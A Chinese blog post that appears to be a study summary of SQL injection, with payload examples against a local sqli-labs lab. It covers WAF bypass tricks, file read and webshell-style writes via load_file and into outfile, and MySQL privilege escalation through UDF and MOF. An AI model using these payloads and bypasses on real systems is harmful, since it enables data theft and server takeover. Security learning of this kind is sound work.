• sql注入总结


    分类

    注入点类型

    数字型 select * from 表名 where id=1 and 1=1
    字符型 select * from 表名 where name='admin' and 1=1 '
    搜索型select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'

    效果

    布尔盲注 (根据返回页面判断条件真假的注入)
    时间盲注(sleep条件语句,判断返回页面时间)
    报错注入(即页面会返回错误信息,或把注入语句结果直接返回在页面中)
    联合查询注入(可以使用union的情况下的注入)
    堆查询注入(可以同时执行多条语句的执行时的注入)
    二次注入(恶意数据先存储进数据库,第二次请求调用了恶意数据)
    宽字节(%df%5c 是一个汉字)

    过WAF

    在这里插入图片描述
    云WAF
    如果流量都没有经过WAF,WAF当然无法拦截攻击请求。当前多数云WAF架构,例如百度云加速、阿里云盾等,通过更改DNS解析,把流量引入WAF集群,流量经过检测后转发请求到源站。如图,dict.com接入接入WAF后,dict.com的DNS解析结果指向WAF集群,用户的请求将发送给WAF集群,WAF集群经过检测认为非攻击请求再转发给源站。
    在这里插入图片描述

    根据WAF种类,以下几种过WAF的方式
    1.架构层绕WAF(针对云WAF)
    (1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。
    (2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
    (3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入

    2.资源限制角度绕WAF
    有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句

    3.协议层面绕过WAF
    (1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型

    (2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf

    .4.规则层面绕过

    双写绕过
    部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
    举例:UNIunionON ,SELselectECT anandd
    
    
    
    使用编码
    使用URL编码,Unicode编码,十六进制编码,Hex编码等.
    举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23
    
    使用注释
    /XXX/,#, -- -,--+, ;
    union selecte =/*!union*/ select
    注释符里感叹号后面的内容会被mysql执行。
    
    双重/多重URL编码绕过
    双重url编码,即对于浏览器发送的数据进行了两次urlencode操作,如s做一次url编码是%73,再进行一次编码是%25%37%33。一般情况下数据经过WAF设备的时候只会做一次url解码,这样解码之后的数据一般不会匹配到规则,达到了bypass的效果
    
    HTTP参数污染
    对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
    举例:?id=1&id=2&id=3
    
    缓冲区溢出
    
    整合绕过
    以上所学习的知识点结合在一起,这样能大幅提高绕过WAF的可能性
    举例:id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*!information_schema*/.tables /*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database() --
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    等价函数

    hex()bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()substr() ==> substring()
    updatexml、extractvalue() ==> polygon()
    @@user ==> user()
    @@datadir ==> datadir()
    and ==> &&
    or ==> ||
    not ==> !
    xor ==> |
    = ==> like
    != ==> <>
    limit 0,1 ==> limit 1 offset 0
    union select ==> union select * from (select 1)a join (select 2)b
    ’‘ ==> ""
    'admin' ==> 0x61646D696E
    
    select * from users where id = 1 order 4 ==> select * from users where id = 1 into @a,@b,@c,@d
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    sql注入读写文件

    SQL注入读写文件的根本条件:
    数据库允许导入导出(secure_file_priv)
    当前用户用户文件操作权限(File_priv)

    load_file()读文件 ,into outfile / into dumpfile写文件 条件:

    对web目录具有读写权限
    知道文件绝对路径
    能够使用联合查询(sql注入时)
    
    • 1
    • 2
    • 3

    union注入读取文件
    当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;文件写入只能利用 union 注入

    //union注入读取 e:/3.txt 文件
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt") --+
    
    //也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874) --+
    
    // union注入写入文件
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 'good' into outfile 'd:/phpstudy/www/good.php';
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    盲注读取文件
    盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成

    Mysql提权

    mysql两种提权方式
    udf提权,mof提权

    Mysql_UDF提权
    UDF(user defined function)用户自定义函数,。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 通过udf创建能够执行系统命令的函数sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。

    使用udf:
    1.把含有自定义函数(如执行系统命令函数“sys_eval”)的dll(windows)文件放入特定文件夹下。
    2.声明引入这个dll文件中的自定义函数。
    3.使用自定义的函数

    Mysql mof提权

    就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行

    条件
    mysql有读写 C:/Windows/system32/wbem/mof 的权限
    secure-file-priv参数不为null

  • 相关阅读:
    人机交互:从过去到现在
    SwiftUI 状态管理系统指南
    【PAT甲级 - C++题解】1149 Dangerous Goods Packaging
    01-java入门了解--cmd命令、jdk、java的认识
    【萌新解题】斐波那契数列
    多列 count(distinct)改写优化
    家政系统预约小程序具备哪些功能?
    微信小程序接口请求/form-data/单文件、多文件上传
    2.13每日一题(根号下的定积分及去绝对值的定积分)
    计算机毕业设计之java+ssm基于web的平面设计课程在线学习平台系统
  • 原文地址:https://blog.csdn.net/pggril/article/details/125844213